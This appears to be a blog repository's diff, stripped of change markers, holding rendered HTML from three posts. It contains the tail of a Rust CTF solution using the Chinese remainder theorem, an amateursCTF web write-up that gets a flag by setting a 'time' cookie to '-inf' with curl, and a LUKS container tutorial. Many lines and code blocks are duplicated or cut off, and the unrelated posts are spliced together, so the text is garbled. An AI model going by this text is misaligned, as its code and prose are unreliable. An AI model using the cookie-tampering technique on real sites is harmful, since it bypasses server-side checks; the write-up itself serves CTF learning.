The code would look like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> bear <span style=color:#66d9ef>in</span> <span style=color:#ae81ff>1</span><span style=color:#f92672>..</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> bear <span style=color:#f92672>%</span> <span style=color:#ae81ff>2</span> <span style=color:#f92672>==</span> <span style=color:#ae81ff>0</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&amp;&amp;</span> bear <span style=color:#f92672>%</span> <span style=color:#ae81ff>3</span> <span style=color:#f92672>==</span> <span style=color:#ae81ff>2</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>&amp;&amp;</span> bear <span style=color:#f92672>%</span> <span style=color:#ae81ff>5</span> <span style=color:#f92672>==</span> <span style=color:#ae81ff>1</span>
@@ -227,7 +227,7 @@ m_{i} = \frac{n}{a_{i}}
</annotation></semantics></math></span><p>We then calculate the multiplicative modular inverse of the aforementioned moduli with respect to the original moduli.</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>M</mi><mi>i</mi></msub><mo></mo><mfrac><mn>1</mn><msub><mi>m</mi><mi>i</mi></msub></mfrac><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msub><mi>a</mi><mi>i</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">
M_{i} \equiv \frac{1}{m_{i}} \pmod{a_i}
</annotation></semantics></math></span><blockquote><p>The modular inverse of a number <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span> modulo <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span> is the number <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mrow><mi>i</mi><mi>n</mi><mi>v</mi></mrow></msub></mrow><annotation encoding="application/x-tex">x_{inv}</annotation></semantics></math></span> such that</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>x</mi><mo></mo><msub><mi>x</mi><mrow><mi>i</mi><mi>n</mi><mi>v</mi></mrow></msub><mo></mo><mn>1</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>m</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> x \cdot x_{inv} \equiv 1 \pmod{m} </annotation></semantics></math></span></blockquote><p>We now multiply the calculated moduli and their inverses to find out the constants that leave the remainder 1.
Let&rsquo;s name this array of constants as <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi></mrow><annotation encoding="application/x-tex">c</annotation></semantics></math></span>.</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>c</mi><mi>i</mi></msub><mo>=</mo><msub><mi>m</mi><mi>i</mi></msub><mo></mo><msub><mi>M</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> c_{i} = m_{i} \cdot M_{i} </annotation></semantics></math></span><p>We multiply the remainder with each constant and add them up. The final unique solution <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span> is this number modulo <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span>.</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>s</mi><mo>=</mo><mo stretchy="false">(</mo><munder><mo></mo><mi>i</mi></munder><mrow><msub><mi>c</mi><mi>i</mi></msub><mo></mo><msub><mi>r</mi><mi>i</mi></msub></mrow><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> s = (\sum_{i}{c_{i} \cdot r_{i}}) \pmod{n} </annotation></semantics></math></span><p>The code implementation looks like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> moduli <span style=color:#f92672>=</span> [<span style=color:#ae81ff>2</span>, <span style=color:#ae81ff>3</span>, <span style=color:#ae81ff>5</span>, <span style=color:#ae81ff>7</span>, <span style=color:#ae81ff>109</span>];
Let&rsquo;s name this array of constants as <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi></mrow><annotation encoding="application/x-tex">c</annotation></semantics></math></span>.</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>c</mi><mi>i</mi></msub><mo>=</mo><msub><mi>m</mi><mi>i</mi></msub><mo></mo><msub><mi>M</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> c_{i} = m_{i} \cdot M_{i} </annotation></semantics></math></span><p>We multiply the remainder with each constant and add them up. The final unique solution <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span> is this number modulo <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span>.</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>s</mi><mo>=</mo><mo stretchy="false">(</mo><munder><mo></mo><mi>i</mi></munder><mrow><msub><mi>c</mi><mi>i</mi></msub><mo></mo><msub><mi>r</mi><mi>i</mi></msub></mrow><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> s = (\sum_{i}{c_{i} \cdot r_{i}}) \pmod{n} </annotation></semantics></math></span><p>The code implementation looks like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> moduli <span style=color:#f92672>=</span> [<span style=color:#ae81ff>2</span>, <span style=color:#ae81ff>3</span>, <span style=color:#ae81ff>5</span>, <span style=color:#ae81ff>7</span>, <span style=color:#ae81ff>109</span>];
</span></span><span style=display:flex><span><span style=color:#66d9ef>let</span> remainders <span style=color:#f92672>=</span> [<span style=color:#ae81ff>0</span>, <span style=color:#ae81ff>2</span>, <span style=color:#ae81ff>1</span>, <span style=color:#ae81ff>3</span>, <span style=color:#ae81ff>55</span>];
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>let</span> n: <span style=color:#66d9ef>i32</span> <span style=color:#f92672>=</span> moduli.iter().product();
@@ -245,9 +245,9 @@ Let&rsquo;s name this array of constants as <span class=katex><math xmlns="http:
</span></span><span style=display:flex><span> .sum();
</span></span><span style=display:flex><span><span style=color:#66d9ef>let</span> solution <span style=color:#f92672>=</span> s <span style=color:#f92672>%</span> n;
</span></span></code></pre></div><p>For convenience, I&rsquo;m using the <a href=https://docs.rs/modinverse/latest/modinverse/>modinverse</a> crate. If you are following along,
run the following to add it to your Rust project:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cargo add modinverse
run the following to add it to your Rust project:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cargo add modinverse
</span></span></code></pre></div><p>For all the <code>volcano</code> numbers generated we search for a <code>bear</code> number starting from the unique <code>solution</code> and stepping by the product of all the moduli, <code>n</code>.
Again, if any of the <code>bear</code> values has the same number of digits and the same sum of digits as the volcano number, it is valid.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> volcano <span style=color:#66d9ef>in</span> volcanos {
Again, if any of the <code>bear</code> values has the same number of digits and the same sum of digits as the volcano number, it is valid.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> volcano <span style=color:#66d9ef>in</span> volcanos {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> v_digits <span style=color:#f92672>=</span> digits(volcano);
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> bear <span style=color:#66d9ef>in</span> (solution<span style=color:#f92672>..</span>volcano).step_by(n <span style=color:#66d9ef>as</span> <span style=color:#66d9ef>usize</span>) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> digits(bear) <span style=color:#f92672>==</span> v_digits {
@@ -255,7 +255,7 @@ Again, if any of the <code>bear</code> values has the same number of digits and
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Here <code>digits</code> is a function that returns a tuple of the number of digits and sum of digits for an argument.</p><p>The complete program source code becomes the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>digits</span>(<span style=color:#66d9ef>mut</span> n: <span style=color:#66d9ef>i32</span>) -&gt; (<span style=color:#66d9ef>i32</span>, <span style=color:#66d9ef>i32</span>) {
</span></span></code></pre></div><p>Here <code>digits</code> is a function that returns a tuple of the number of digits and sum of digits for an argument.</p><p>The complete program source code becomes the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>digits</span>(<span style=color:#66d9ef>mut</span> n: <span style=color:#66d9ef>i32</span>) -&gt; (<span style=color:#66d9ef>i32</span>, <span style=color:#66d9ef>i32</span>) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> c <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> r <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>while</span> n <span style=color:#f92672>!=</span> <span style=color:#ae81ff>0</span> {
@@ -306,7 +306,7 @@ volcano: 262079, bear: 224486
volcano: 258047, bear: 155816
volcano: 258047, bear: 224486
volcano: 196607, bear: 178706
</code></pre><p>Now we can connect to the challenge server, supply any of the solutions and get the flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>nc amt.rs <span style=color:#ae81ff>31010</span>
</code></pre><p>Now we can connect to the challenge server, supply any of the solutions and get the flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>nc amt.rs <span style=color:#ae81ff>31010</span>
</span></span></code></pre></div><pre tabindex=0><code>Give me a bear: 132926
Give me a volcano: 262139
Prove to me they are the same: 2459

View File

@@ -18,7 +18,7 @@ We get a response that tells us to wait an enternity.
* Connection #0 to host waiting-an-eternity.amt.rs left intact
just wait an eternity
On closer inspection, the refresh header with the gigantic number sticks out like a sore thumb.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Jul 19, 2023 | 3 minutes read</time></p><h1 data-pagefind-meta=title>Waiting an Eternity</h1></hgroup><section class=post-content data-pagefind-body><p>This was a fairly straightforward and fun challenge that required a bit of common sense to solve.
We are given the URL <a href=https://waiting-an-eternity.amt.rs>https://waiting-an-eternity.amt.rs</a> to begin with.</p><p>Let&rsquo;s use <code>curl</code> with its verbose flag to fetch this URL.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl -v <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs&#34;</span>
We are given the URL <a href=https://waiting-an-eternity.amt.rs>https://waiting-an-eternity.amt.rs</a> to begin with.</p><p>Let&rsquo;s use <code>curl</code> with its verbose flag to fetch this URL.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl -v <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs&#34;</span>
</span></span></code></pre></div><p>We get a response that tells us to wait an enternity.</p><pre tabindex=0><code>&gt; GET / HTTP/2
&gt; Host: waiting-an-eternity.amt.rs
&gt; User-Agent: curl/8.1.1
@@ -36,7 +36,7 @@ just wait an eternity
</code></pre><p>On closer inspection, the refresh header with the gigantic number sticks out like a sore thumb.</p><pre tabindex=0><code>refresh: 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; url=../../secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a
</code></pre><p>The refresh header is a non-standard but widely supported HTTP header that redirects to the URL present in the <code>url</code> field
after the specified timout in seconds.</p><p>In our case, this means that after one octovigintillion seconds, we would finally get redirected to <code>/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a</code>.</p><p>Since I&rsquo;m rather impatient, I&rsquo;ll proceed to visiting the redirect location. We will use the same technique as earlier, fetch the URL
using <code>curl</code> in its verbose settings.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl -v <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a&#34;</span>
using <code>curl</code> in its verbose settings.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl -v <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a&#34;</span>
</span></span></code></pre></div><p>This results in another slightly different response that tells us to wait another eternity.</p><pre tabindex=0><code>&gt; GET /secretsite?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a HTTP/2
&gt; Host: waiting-an-eternity.amt.rs
&gt; User-Agent: curl/8.1.1
@@ -53,17 +53,17 @@ using <code>curl</code> in its verbose settings.</p><div class=highlight><pre ta
welcome. please wait another eternity.
</code></pre><p>There is another difference in the headers of the response. This time, instead of the <code>refresh</code> header, we can notice a <code>set-cookie</code> header
with the <code>time</code> cookie set to a floating point number.</p><pre tabindex=0><code>set-cookie: time=1689655442.2456439; path=/
</code></pre><p>Let&rsquo;s try setting this <code>time</code> cookie to 0 using the <code>-b</code> flag with <code>curl</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a&#34;</span> <span style=color:#ae81ff>\
</code></pre><p>Let&rsquo;s try setting this <code>time</code> cookie to 0 using the <code>-b</code> flag with <code>curl</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>-b <span style=color:#e6db74>&#34;time=0&#34;</span>
</span></span></code></pre></div><p>The response tells us that we haven&rsquo;t waited enough.</p><pre tabindex=0><code>you have not waited an eternity. you have only waited 1689655538.27981 seconds
</code></pre><p>This is better than the previous message as the server thinks we have at least waited some time. Since 0 is less than the default value
1689655442.2456439 we encountered before, let&rsquo;s try supplying an even smaller number like -1000.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a&#34;</span> <span style=color:#ae81ff>\
1689655442.2456439 we encountered before, let&rsquo;s try supplying an even smaller number like -1000.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>-b <span style=color:#e6db74>&#34;time=-1000&#34;</span>
</span></span></code></pre></div><p>The response says:</p><pre tabindex=0><code>you have not waited an eternity. you have only waited 1689657530.625615 seconds
</code></pre><p>Notice how 1689657530.625615 in the second response is greater than 1689655538.27981 from the first response.
This implies, for smaller values supplied to the <code>time</code> cookie, the time we have waited increases.</p><p>The last piece to the puzzle is that the <code>time</code> cookie is a floating point number. According to the IEE 754 floating
point specifications, these numbers must also be able to represent signed zeros, things that are not a number (NaN) and
<em>signed infinities</em>. To wait an eternity, we can supply the most negative value possible, <code>-inf</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a&#34;</span> <span style=color:#ae81ff>\
<em>signed infinities</em>. To wait an eternity, we can supply the most negative value possible, <code>-inf</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>-b <span style=color:#e6db74>&#34;time=-inf&#34;</span>
</span></span></code></pre></div><p>This finally gives us our flag.</p><pre tabindex=0><code>amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>

View File

@@ -12,13 +12,13 @@ keeping a detached header.'><meta name=author content><link rel="preload stylesh
Often times, however, we can&rsquo;t afford to create new partitions inside a disk
without having to completely format the drive anew.</p><p>This post will guide you through the process of creating and working
with LUKS container files that are encrypted at rest and can be decrypted on
demand with knowledge of the passphrase.</p><h2 id=creating-the-image-base>Creating the image base</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>head --bytes<span style=color:#f92672>=</span>4G /dev/urandom &gt; stash.img
demand with knowledge of the passphrase.</p><h2 id=creating-the-image-base>Creating the image base</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>head --bytes<span style=color:#f92672>=</span>4G /dev/urandom &gt; stash.img
</span></span></code></pre></div><h2 id=format-the-image>Format the image</h2><p>The image can be formatted by either including the header in the image itself or
keeping a detached header.</p><p>In either case, cryptsetup will ask for passphrase which will secure
the contents of this container.</p><h3 id=including-the-luks-header>Including the LUKS header</h3><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cryptsetup luksFormat stash.img
the contents of this container.</p><h3 id=including-the-luks-header>Including the LUKS header</h3><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cryptsetup luksFormat stash.img
</span></span></code></pre></div><h3 id=with-a-detached-luks-header>With a detached LUKS header</h3><blockquote><p>Note: Using a detached LUKS header is unsupported by udisksctl. Mounting such images
can only be done using <code>cryptsetup</code> with super user privileges.</p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cryptsetup luksFormat stash.img --header stash.img.luks
</span></span></code></pre></div><h2 id=formatting-the-drive-with-a-filesystem>Formatting the drive with a filesystem</h2><p>Super user privileges are required for this action. Run the following as root.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>mkdir -p /mnt/stash
can only be done using <code>cryptsetup</code> with super user privileges.</p></blockquote><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cryptsetup luksFormat stash.img --header stash.img.luks
</span></span></code></pre></div><h2 id=formatting-the-drive-with-a-filesystem>Formatting the drive with a filesystem</h2><p>Super user privileges are required for this action. Run the following as root.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>mkdir -p /mnt/stash
</span></span><span style=display:flex><span>cryptsetup open stash.img stash <span style=color:#75715e># --header stash.img.luks</span>
</span></span><span style=display:flex><span>mkfs.ext4 /dev/mapper/stash
</span></span><span style=display:flex><span>mount /dev/mapper/stash /mnt/stash
@@ -28,14 +28,14 @@ can only be done using <code>cryptsetup</code> with super user privileges.</p></
</span></span><span style=display:flex><span>cryptsetup close stash
</span></span></code></pre></div><h2 id=interacting-with-the-image>Interacting with the image</h2><p>This section shall describe mounting and unmounting the stash both with and without
super user privileges, although, I suppose most readers will be interested in latter
since that&rsquo;s the whole point of portable LUKS file stashes.</p><h3 id=with-super-user-privileges>With super user privileges</h3><h4 id=mounting>Mounting</h4><p>The following commands will</p><ul><li>Create a mountpoint at <code>/mnt/stash</code></li><li>Open the image with <code>cryptsetup</code> as <code>/dev/mapper/stash</code></li><li>Mount the the mapper device to the mountpoint</li></ul><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>mkdir -p /mnt/stash
since that&rsquo;s the whole point of portable LUKS file stashes.</p><h3 id=with-super-user-privileges>With super user privileges</h3><h4 id=mounting>Mounting</h4><p>The following commands will</p><ul><li>Create a mountpoint at <code>/mnt/stash</code></li><li>Open the image with <code>cryptsetup</code> as <code>/dev/mapper/stash</code></li><li>Mount the the mapper device to the mountpoint</li></ul><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>mkdir -p /mnt/stash
</span></span><span style=display:flex><span>cryptsetup open stash.img stash <span style=color:#75715e># --header stash.img.luks</span>
</span></span><span style=display:flex><span>mount /dev/mapper/stash /mnt/stash
</span></span></code></pre></div><h4 id=unmounting>Unmounting</h4><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>umount /dev/mapper/stash
</span></span></code></pre></div><h4 id=unmounting>Unmounting</h4><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>umount /dev/mapper/stash
</span></span><span style=display:flex><span>cryptsetup close stash
</span></span></code></pre></div><h3 id=without-super-user-privileges>Without super user privileges</h3><h4 id=mounting-1>Mounting</h4><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>udisksctl loop-setup --file stash.img
</span></span></code></pre></div><p>This returns the path to a loop device, for example, <code>/dev/loop0</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>udisksctl unlock --block-device /dev/loop0
</span></span></code></pre></div><p>Enter the passphrase previously used for formatting the image. The drive should be accessible via a graphical file manager.</p><h4 id=unmounting-1>Unmounting</h4><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>udisksctl lock --block-device /dev/loop0
